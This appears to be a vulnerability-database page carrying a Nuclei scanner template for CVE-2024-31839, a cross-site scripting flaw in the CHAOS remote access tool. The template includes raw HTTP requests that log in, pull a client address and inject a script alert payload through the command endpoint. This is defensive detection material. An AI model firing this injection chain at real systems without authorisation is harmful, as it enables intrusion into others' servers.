| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
| CHAOS RAT 5.0.1 Remote Command Execution Exploit | 11 Apr 202400:00 | – | zdt | |
| CHAOS 5.0.8 Cross Site Scripting / Remote Command Execution Exploit | 22 May 202400:00 | – | zdt | |
| Exploit for Command Injection in Tiagorlampert Chaos | 5 Apr 202421:35 | – | githubexploit | |
| CVE-2024-31839 | 21 May 202410:57 | – | circl | |
| CHAOS 安全漏洞 | 12 Apr 202400:00 | – | cnnvd | |
| CVE-2024-31839 | 12 Apr 202400:00 | – | cve | |
| CVE-2024-31839 | 12 Apr 202400:00 | – | cvelist | |
| tiagorlampert CHAOS vulnerable to Cross Site Scripting | 12 Apr 202415:37 | – | github | |
| CVE-2024-31839 | 12 Apr 202414:15 | – | nvd | |
| CVE-2024-31839 | 12 Apr 202400:00 | – | osv |
id: CVE-2024-31839
info:
name: CHAOS 5.0.1 'sendCommandHandler' - Cross-Site Scripting
author: riteshs4hu
severity: medium
description: |
Cross Site Scripting vulnerability in tiagorlampert CHAOS v.5.0.1 allows a remote attacker to escalate privileges via the sendCommandHandler function in the handler.go component.
impact: |
Attackers can inject malicious scripts that execute in users' browsers, potentially escalating privileges and compromising user sessions.
remediation: |
Update CHAOS to a version that patches the XSS vulnerability in the sendCommandHandler function.
reference:
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/chaos_rat_xss_to_rce.rb
- https://github.com/tiagorlampert/CHAOS
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 4.8
cve-id: CVE-2024-31839
cwe-id: CWE-79
epss-score: 0.08104
epss-percentile: 0.94147
cpe: cpe:2.3:a:tiagorlampert:chaos:5.0.1:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: tiagorlampert
product: chaos
tags: cve,cve2024,chaos,tiagorlampert,xss,intrusive,vkev,vuln
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /auth HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------7531776718188184812862255877
-----------------------------7531776718188184812862255877
Content-Disposition: form-data; name="username"
{{username}}
-----------------------------7531776718188184812862255877
Content-Disposition: form-data; name="password"
{{password}}
-----------------------------7531776718188184812862255877--
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: address
regex:
- 'href="/shell\?address=([^"]+)"'
group: 1
internal: true
- raw:
- |
POST /command HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------424661958414611637671358243344
-----------------------------424661958414611637671358243344
Content-Disposition: form-data; name="address"
{{url_decode(address)}}
-----------------------------424661958414611637671358243344
Content-Disposition: form-data; name="command"
echo '<script>alert(document.domain)</script>'
-----------------------------424661958414611637671358243344--
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/plain")'
- 'contains(body, "<script>alert(document.domain)</script>")'
condition: and
# digest: 4a0a00473045022100ebf5422cad2e68a3fe16cf3f6af1a0cc1a91aeb01bbece343e09ed4f3f74c76702205e56b4c46d3869b941cdaf7ce3674baa80b2499a60e9a967ce78e08a1eba8e90:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation